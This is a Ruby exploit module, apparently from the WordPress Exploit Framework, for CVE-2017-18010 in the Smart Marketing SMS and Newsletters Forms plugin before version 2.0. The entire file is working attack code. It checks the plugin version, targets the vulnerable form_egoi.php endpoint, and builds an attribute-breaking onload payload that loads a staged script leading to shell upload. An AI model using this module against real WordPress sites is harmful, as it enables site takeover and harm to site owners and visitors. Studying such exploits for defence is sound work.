# frozen_string_literal: true

class Wpxf::Exploit::SmartMarketingReflectedXssShellUpload < Wpxf::Module
  include Wpxf::WordPress::StagedReflectedXss

  def initialize
    super

    update_info(
      name: 'Smart Marketing SMS and Newsletters Forms < 2.0 Reflected XSS Shell Upload',
      author: [
        'Ricardo Sanchez', # Dislosure
        'rastating'        # WPXF module
      ],
      references: [
        ['CVE', '2017-18010'],
        ['WPVDB', '8974']
      ],
      date: 'Dec 05 2017'
    )
  end

  def check
    check_plugin_version_from_readme('smart-marketing-for-wp', '2.0')
  end

  def vulnerable_url
    normalize_uri(wordpress_url_plugins, 'smart-marketing-for-wp', 'admin', 'partials', 'custom', 'egoi-for-wp-form_egoi.php')
  end

  def initial_script
    create_basic_post_script(
      vulnerable_url,
      'url' => "\\\" onload=\\\"#{xss_ascii_encoded_include_script}\\\">"
    )
  end
end
